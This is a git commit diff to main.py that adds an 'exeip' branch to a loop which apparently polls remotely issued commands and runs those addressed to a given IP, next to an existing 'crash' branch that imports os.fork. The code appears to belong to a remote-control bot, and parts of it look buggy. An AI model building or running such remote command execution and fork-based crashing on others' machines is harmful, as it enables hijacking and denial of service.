diff options
| author | littleblack111 <littleblack11111@gmail.com> | 2023-09-01 13:25:33 +0800 |
|---|---|---|
| committer | littleblack111 <littleblack11111@gmail.com> | 2023-09-01 13:25:33 +0800 |
| commit | fe3fff19c78c3408ed8386a6266c9ca9e0131e3e (patch) | |
| tree | ce27e5ac9fc15b2e66021dc3ae3d987736beabc7 /main.py | |
| parent | aa4462f212194155be8f52d4f524a3ba72582118 (diff) | |
added exeip
Diffstat (limited to 'main.py')
| -rw-r--r-- | main.py | 10 |
1 files changed, 9 insertions, 1 deletions
@@ -98,7 +98,15 @@ while True: else: old_command = commandId continue - if command.startswith("crash"): + if command.startswith("exeip "): + localcmd = command.split() + if localcmd[1] == ip: + del localcmd[2] + localcmd = ' '.join(localcmd) + else: + old_command = commandId + continue + if command.startswith("crash"): from os import fork command = command.split() if command[1<len(command)]: |
